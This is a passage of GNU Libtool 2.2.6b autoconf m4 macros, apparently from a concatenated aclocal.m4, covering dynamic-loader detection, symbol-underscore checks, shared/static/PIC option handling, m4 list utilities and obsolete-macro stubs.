${lt_dlopen_dir+$lt_dlopen_dir/}dyld.la"]) ;; beos*) LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}load_add_on.la" ;; cygwin* | mingw* | os2* | pw32*) AC_CHECK_DECLS([cygwin_conv_path], [], [], [[#include ]]) LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}loadlibrary.la" ;; esac AC_CHECK_LIB([dld], [dld_link], [AC_DEFINE([HAVE_DLD], [1], [Define if you have the GNU dld library.]) LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dld_link.la"]) AC_SUBST([LIBADD_DLD_LINK]) m4_pattern_allow([^LT_DLPREOPEN$]) LT_DLPREOPEN= if test -n "$LT_DLLOADERS" then for lt_loader in $LT_DLLOADERS; do LT_DLPREOPEN="$LT_DLPREOPEN-dlpreopen $lt_loader " done AC_DEFINE([HAVE_LIBDLLOADER], [1], [Define if libdlloader will be built on this platform]) fi AC_SUBST([LT_DLPREOPEN]) dnl This isn't used anymore, but set it for backwards compatibility LIBADD_DL="$LIBADD_DLOPEN $LIBADD_SHL_LOAD" AC_SUBST([LIBADD_DL]) AC_LANG_POP ])# LT_LIB_DLLOAD # Old name: AU_ALIAS([AC_LTDL_DLLIB], [LT_LIB_DLLOAD]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_DLLIB], []) # LT_SYS_SYMBOL_USCORE # -------------------- # does the compiler prefix global symbols with an underscore? AC_DEFUN([LT_SYS_SYMBOL_USCORE], [m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl AC_CACHE_CHECK([for _ prefix in compiled symbols], [lt_cv_sys_symbol_underscore], [lt_cv_sys_symbol_underscore=no cat > conftest.$ac_ext <<_LT_EOF void nm_test_func(){} int main(){nm_test_func;return 0;} _LT_EOF if AC_TRY_EVAL(ac_compile); then # Now try to grab the symbols. ac_nlist=conftest.nm if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist) && test -s "$ac_nlist"; then # See whether the symbols have a leading underscore. if grep '^. _nm_test_func' "$ac_nlist" >/dev/null; then lt_cv_sys_symbol_underscore=yes else if grep '^. nm_test_func ' "$ac_nlist" >/dev/null; then : else echo "configure: cannot find nm_test_func in $ac_nlist" >&AS_MESSAGE_LOG_FD fi fi else echo "configure: cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD fi else echo "configure: failed program was:" >&AS_MESSAGE_LOG_FD cat conftest.c >&AS_MESSAGE_LOG_FD fi rm -rf conftest* ]) sys_symbol_underscore=$lt_cv_sys_symbol_underscore AC_SUBST([sys_symbol_underscore]) ])# LT_SYS_SYMBOL_USCORE # Old name: AU_ALIAS([AC_LTDL_SYMBOL_USCORE], [LT_SYS_SYMBOL_USCORE]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_SYMBOL_USCORE], []) # LT_FUNC_DLSYM_USCORE # -------------------- AC_DEFUN([LT_FUNC_DLSYM_USCORE], [AC_REQUIRE([LT_SYS_SYMBOL_USCORE])dnl if test x"$lt_cv_sys_symbol_underscore" = xyes; then if test x"$libltdl_cv_func_dlopen" = xyes || test x"$libltdl_cv_lib_dl_dlopen" = xyes ; then AC_CACHE_CHECK([whether we have to add an underscore for dlsym], [libltdl_cv_need_uscore], [libltdl_cv_need_uscore=unknown save_LIBS="$LIBS" LIBS="$LIBS $LIBADD_DLOPEN" _LT_TRY_DLOPEN_SELF( [libltdl_cv_need_uscore=no], [libltdl_cv_need_uscore=yes], [], [libltdl_cv_need_uscore=cross]) LIBS="$save_LIBS" ]) fi fi if test x"$libltdl_cv_need_uscore" = xyes; then AC_DEFINE([NEED_USCORE], [1], [Define if dlsym() requires a leading underscore in symbol names.]) fi ])# LT_FUNC_DLSYM_USCORE # Old name: AU_ALIAS([AC_LTDL_DLSYM_USCORE], [LT_FUNC_DLSYM_USCORE]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_DLSYM_USCORE], []) # Helper functions for option handling. -*- Autoconf -*- # # Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. # Written by Gary V. Vaughan, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 6 ltoptions.m4 # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])]) # _LT_MANGLE_OPTION(MACRO-NAME, OPTION-NAME) # ------------------------------------------ m4_define([_LT_MANGLE_OPTION], [[_LT_OPTION_]m4_bpatsubst($1__$2, [[^a-zA-Z0-9_]], [_])]) # _LT_SET_OPTION(MACRO-NAME, OPTION-NAME) # --------------------------------------- # Set option OPTION-NAME for macro MACRO-NAME, and if there is a # matching handler defined, dispatch to it. Other OPTION-NAMEs are # saved as a flag. m4_define([_LT_SET_OPTION], [m4_define(_LT_MANGLE_OPTION([$1], [$2]))dnl m4_ifdef(_LT_MANGLE_DEFUN([$1], [$2]), _LT_MANGLE_DEFUN([$1], [$2]), [m4_warning([Unknown $1 option `$2'])])[]dnl ]) # _LT_IF_OPTION(MACRO-NAME, OPTION-NAME, IF-SET, [IF-NOT-SET]) # ------------------------------------------------------------ # Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. m4_define([_LT_IF_OPTION], [m4_ifdef(_LT_MANGLE_OPTION([$1], [$2]), [$3], [$4])]) # _LT_UNLESS_OPTIONS(MACRO-NAME, OPTION-LIST, IF-NOT-SET) # ------------------------------------------------------- # Execute IF-NOT-SET unless all options in OPTION-LIST for MACRO-NAME # are set. m4_define([_LT_UNLESS_OPTIONS], [m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), [m4_ifdef(_LT_MANGLE_OPTION([$1], _LT_Option), [m4_define([$0_found])])])[]dnl m4_ifdef([$0_found], [m4_undefine([$0_found])], [$3 ])[]dnl ]) # _LT_SET_OPTIONS(MACRO-NAME, OPTION-LIST) # ---------------------------------------- # OPTION-LIST is a space-separated list of Libtool options associated # with MACRO-NAME. If any OPTION has a matching handler declared with # LT_OPTION_DEFINE, dispatch to that macro; otherwise complain about # the unknown option and exit. m4_defun([_LT_SET_OPTIONS], [# Set options m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), [_LT_SET_OPTION([$1], _LT_Option)]) m4_if([$1],[LT_INIT],[ dnl dnl Simply set some default values (i.e off) if boolean options were not dnl specified: _LT_UNLESS_OPTIONS([LT_INIT], [dlopen], [enable_dlopen=no ]) _LT_UNLESS_OPTIONS([LT_INIT], [win32-dll], [enable_win32_dll=no ]) dnl dnl If no reference was made to various pairs of opposing options, then dnl we run the default mode handler for the pair. For example, if neither dnl `shared' nor `disable-shared' was passed, we enable building of shared dnl archives by default: _LT_UNLESS_OPTIONS([LT_INIT], [shared disable-shared], [_LT_ENABLE_SHARED]) _LT_UNLESS_OPTIONS([LT_INIT], [static disable-static], [_LT_ENABLE_STATIC]) _LT_UNLESS_OPTIONS([LT_INIT], [pic-only no-pic], [_LT_WITH_PIC]) _LT_UNLESS_OPTIONS([LT_INIT], [fast-install disable-fast-install], [_LT_ENABLE_FAST_INSTALL]) ]) ])# _LT_SET_OPTIONS # _LT_MANGLE_DEFUN(MACRO-NAME, OPTION-NAME) # ----------------------------------------- m4_define([_LT_MANGLE_DEFUN], [[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1__$2]), [[^A-Z0-9_]], [_])]) # LT_OPTION_DEFINE(MACRO-NAME, OPTION-NAME, CODE) # ----------------------------------------------- m4_define([LT_OPTION_DEFINE], [m4_define(_LT_MANGLE_DEFUN([$1], [$2]), [$3])[]dnl ])# LT_OPTION_DEFINE # dlopen # ------ LT_OPTION_DEFINE([LT_INIT], [dlopen], [enable_dlopen=yes ]) AU_DEFUN([AC_LIBTOOL_DLOPEN], [_LT_SET_OPTION([LT_INIT], [dlopen]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `dlopen' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], []) # win32-dll # --------- # Declare package support for building win32 dll's. LT_OPTION_DEFINE([LT_INIT], [win32-dll], [enable_win32_dll=yes case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-cegcc*) AC_CHECK_TOOL(AS, as, false) AC_CHECK_TOOL(DLLTOOL, dlltool, false) AC_CHECK_TOOL(OBJDUMP, objdump, false) ;; esac test -z "$AS" && AS=as _LT_DECL([], [AS], [0], [Assembler program])dnl test -z "$DLLTOOL" && DLLTOOL=dlltool _LT_DECL([], [DLLTOOL], [0], [DLL creation program])dnl test -z "$OBJDUMP" && OBJDUMP=objdump _LT_DECL([], [OBJDUMP], [0], [Object dumper program])dnl ])# win32-dll AU_DEFUN([AC_LIBTOOL_WIN32_DLL], [AC_REQUIRE([AC_CANONICAL_HOST])dnl _LT_SET_OPTION([LT_INIT], [win32-dll]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `win32-dll' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], []) # _LT_ENABLE_SHARED([DEFAULT]) # ---------------------------- # implement the --enable-shared flag, and supports the `shared' and # `disable-shared' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_SHARED], [m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([shared], [AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@], [build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_shared=yes ;; no) enable_shared=no ;; *) enable_shared=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_shared=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_shared=]_LT_ENABLE_SHARED_DEFAULT) _LT_DECL([build_libtool_libs], [enable_shared], [0], [Whether or not to build shared libraries]) ])# _LT_ENABLE_SHARED LT_OPTION_DEFINE([LT_INIT], [shared], [_LT_ENABLE_SHARED([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-shared], [_LT_ENABLE_SHARED([no])]) # Old names: AC_DEFUN([AC_ENABLE_SHARED], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[shared]) ]) AC_DEFUN([AC_DISABLE_SHARED], [_LT_SET_OPTION([LT_INIT], [disable-shared]) ]) AU_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) AU_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_ENABLE_SHARED], []) dnl AC_DEFUN([AM_DISABLE_SHARED], []) # _LT_ENABLE_STATIC([DEFAULT]) # ---------------------------- # implement the --enable-static flag, and support the `static' and # `disable-static' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_STATIC], [m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([static], [AS_HELP_STRING([--enable-static@<:@=PKGS@:>@], [build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_static=yes ;; no) enable_static=no ;; *) enable_static=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_static=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_static=]_LT_ENABLE_STATIC_DEFAULT) _LT_DECL([build_old_libs], [enable_static], [0], [Whether or not to build static libraries]) ])# _LT_ENABLE_STATIC LT_OPTION_DEFINE([LT_INIT], [static], [_LT_ENABLE_STATIC([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-static], [_LT_ENABLE_STATIC([no])]) # Old names: AC_DEFUN([AC_ENABLE_STATIC], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[static]) ]) AC_DEFUN([AC_DISABLE_STATIC], [_LT_SET_OPTION([LT_INIT], [disable-static]) ]) AU_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) AU_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_ENABLE_STATIC], []) dnl AC_DEFUN([AM_DISABLE_STATIC], []) # _LT_ENABLE_FAST_INSTALL([DEFAULT]) # ---------------------------------- # implement the --enable-fast-install flag, and support the `fast-install' # and `disable-fast-install' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_FAST_INSTALL], [m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([fast-install], [AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], [optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_fast_install=yes ;; no) enable_fast_install=no ;; *) enable_fast_install=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_fast_install=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT) _LT_DECL([fast_install], [enable_fast_install], [0], [Whether or not to optimize for fast installation])dnl ])# _LT_ENABLE_FAST_INSTALL LT_OPTION_DEFINE([LT_INIT], [fast-install], [_LT_ENABLE_FAST_INSTALL([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])]) # Old names: AU_DEFUN([AC_ENABLE_FAST_INSTALL], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[fast-install]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `fast-install' option into LT_INIT's first parameter.]) ]) AU_DEFUN([AC_DISABLE_FAST_INSTALL], [_LT_SET_OPTION([LT_INIT], [disable-fast-install]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `disable-fast-install' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], []) dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], []) # _LT_WITH_PIC([MODE]) # -------------------- # implement the --with-pic flag, and support the `pic-only' and `no-pic' # LT_INIT options. # MODE is either `yes' or `no'. If omitted, it defaults to `both'. m4_define([_LT_WITH_PIC], [AC_ARG_WITH([pic], [AS_HELP_STRING([--with-pic], [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], [pic_mode="$withval"], [pic_mode=default]) test -z "$pic_mode" && pic_mode=m4_default([$1], [default]) _LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl ])# _LT_WITH_PIC LT_OPTION_DEFINE([LT_INIT], [pic-only], [_LT_WITH_PIC([yes])]) LT_OPTION_DEFINE([LT_INIT], [no-pic], [_LT_WITH_PIC([no])]) # Old name: AU_DEFUN([AC_LIBTOOL_PICMODE], [_LT_SET_OPTION([LT_INIT], [pic-only]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `pic-only' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_PICMODE], []) m4_define([_LTDL_MODE], []) LT_OPTION_DEFINE([LTDL_INIT], [nonrecursive], [m4_define([_LTDL_MODE], [nonrecursive])]) LT_OPTION_DEFINE([LTDL_INIT], [recursive], [m4_define([_LTDL_MODE], [recursive])]) LT_OPTION_DEFINE([LTDL_INIT], [subproject], [m4_define([_LTDL_MODE], [subproject])]) m4_define([_LTDL_TYPE], []) LT_OPTION_DEFINE([LTDL_INIT], [installable], [m4_define([_LTDL_TYPE], [installable])]) LT_OPTION_DEFINE([LTDL_INIT], [convenience], [m4_define([_LTDL_TYPE], [convenience])]) # ltsugar.m4 -- libtool m4 base layer. -*-Autoconf-*- # # Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. # Written by Gary V. Vaughan, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 6 ltsugar.m4 # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])]) # lt_join(SEP, ARG1, [ARG2...]) # ----------------------------- # Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their # associated separator. # Needed until we can rely on m4_join from Autoconf 2.62, since all earlier # versions in m4sugar had bugs. m4_define([lt_join], [m4_if([$#], [1], [], [$#], [2], [[$2]], [m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])]) m4_define([_lt_join], [m4_if([$#$2], [2], [], [m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])]) # lt_car(LIST) # lt_cdr(LIST) # ------------ # Manipulate m4 lists. # These macros are necessary as long as will still need to support # Autoconf-2.59 which quotes differently. m4_define([lt_car], [[$1]]) m4_define([lt_cdr], [m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])], [$#], 1, [], [m4_dquote(m4_shift($@))])]) m4_define([lt_unquote], $1) # lt_append(MACRO-NAME, STRING, [SEPARATOR]) # ------------------------------------------ # Redefine MACRO-NAME to hold its former content plus `SEPARATOR'`STRING'. # Note that neither SEPARATOR nor STRING are expanded; they are appended # to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked). # No SEPARATOR is output if MACRO-NAME was previously undefined (different # than defined and empty). # # This macro is needed until we can rely on Autoconf 2.62, since earlier # versions of m4sugar mistakenly expanded SEPARATOR but not STRING. m4_define([lt_append], [m4_define([$1], m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])]) # lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...]) # ---------------------------------------------------------- # Produce a SEP delimited list of all paired combinations of elements of # PREFIX-LIST with SUFFIX1 through SUFFIXn. Each element of the list # has the form PREFIXmINFIXSUFFIXn. # Needed until we can rely on m4_combine added in Autoconf 2.62. m4_define([lt_combine], [m4_if(m4_eval([$# > 3]), [1], [m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl [[m4_foreach([_Lt_prefix], [$2], [m4_foreach([_Lt_suffix], ]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[, [_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])]) # lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ]) # ----------------------------------------------------------------------- # Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited # by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ. m4_define([lt_if_append_uniq], [m4_ifdef([$1], [m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1], [lt_append([$1], [$2], [$3])$4], [$5])], [lt_append([$1], [$2], [$3])$4])]) # lt_dict_add(DICT, KEY, VALUE) # ----------------------------- m4_define([lt_dict_add], [m4_define([$1($2)], [$3])]) # lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE) # -------------------------------------------- m4_define([lt_dict_add_subkey], [m4_define([$1($2:$3)], [$4])]) # lt_dict_fetch(DICT, KEY, [SUBKEY]) # ---------------------------------- m4_define([lt_dict_fetch], [m4_ifval([$3], m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]), m4_ifdef([$1($2)], [m4_defn([$1($2)])]))]) # lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE]) # ----------------------------------------------------------------- m4_define([lt_if_dict_fetch], [m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4], [$5], [$6])]) # lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...]) # -------------------------------------------------------------- m4_define([lt_dict_filter], [m4_if([$5], [], [], [lt_join(m4_quote(m4_default([$4], [[, ]])), lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]), [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl ]) # ltversion.m4 -- version numbers -*- Autoconf -*- # # Copyright (C) 2004 Free Software Foundation, Inc. # Written by Scott James Remnant, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # Generated from ltversion.in. # serial 3017 ltversion.m4 # This file is part of GNU Libtool m4_define([LT_PACKAGE_VERSION], [2.2.6b]) m4_define([LT_PACKAGE_REVISION], [1.3017]) AC_DEFUN([LTVERSION_VERSION], [macro_version='2.2.6b' macro_revision='1.3017' _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?]) _LT_DECL(, macro_revision, 0) ]) # lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*- # # Copyright (C) 2004, 2005, 2007 Free Software Foundation, Inc. # Written by Scott James Remnant, 2004. # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 4 lt~obsolete.m4 # These exist entirely to fool aclocal when bootstrapping libtool. # # In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN) # which have later been changed to m4_define as they aren't part of the # exported API, or moved to Autoconf or Automake where they belong. # # The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN # in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us # using a macro with the same name in our local m4/libtool.m4 it'll # pull the old libtool.m4 in (it doesn't see our shiny new m4_define # and doesn't know about Autoconf macros at all.) # # So we provide this file, which has a silly filename so it's always # included after everything else. This provides aclocal with the # AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything # because those macros already exist, or will be overwritten later. # We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6. # # Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here. # Yes, that means every name once taken will need to remain here until # we give up compatibility with versions before 1.7, at which point # we need to keep only those names which we still refer to. # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])]) m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])]) m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])]) m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])]) m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])]) m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])]) m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])]) m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])]) m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])]) m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])]) m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])]) m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])]) m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])]) m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])]) m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])]) m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])]) m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])]) m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])]) m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])]) m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])]) m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])]) m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])]) m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])]) m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])]) m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])]) m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])]) m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])]) m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])]) m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])]) m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])]) m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])]) m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])]) m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])]) m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])]) m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])]) m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])]) m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])]) m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])]) m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])]) m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])]) m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])]) m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])]) m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])]) m4_ifndef([AC_LIBTOOL_RC], [AC_DEFUN([AC_LIBTOOL_RC])]) m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])]) m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])]) m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])]) m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])]) m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])]) m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])]) m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])]) m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])]) # Copyright (C) 2002, 2003, 2005, 2006, 2007, 2008 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # 